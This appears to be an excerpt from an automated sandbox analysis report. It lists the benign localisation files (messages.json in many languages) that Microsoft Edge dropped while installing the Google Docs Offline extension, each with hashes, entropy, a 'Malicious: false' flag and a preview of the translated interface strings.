Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4976_1747029212\CRX_INSTALL\_locales\fr\messages.json

Download File

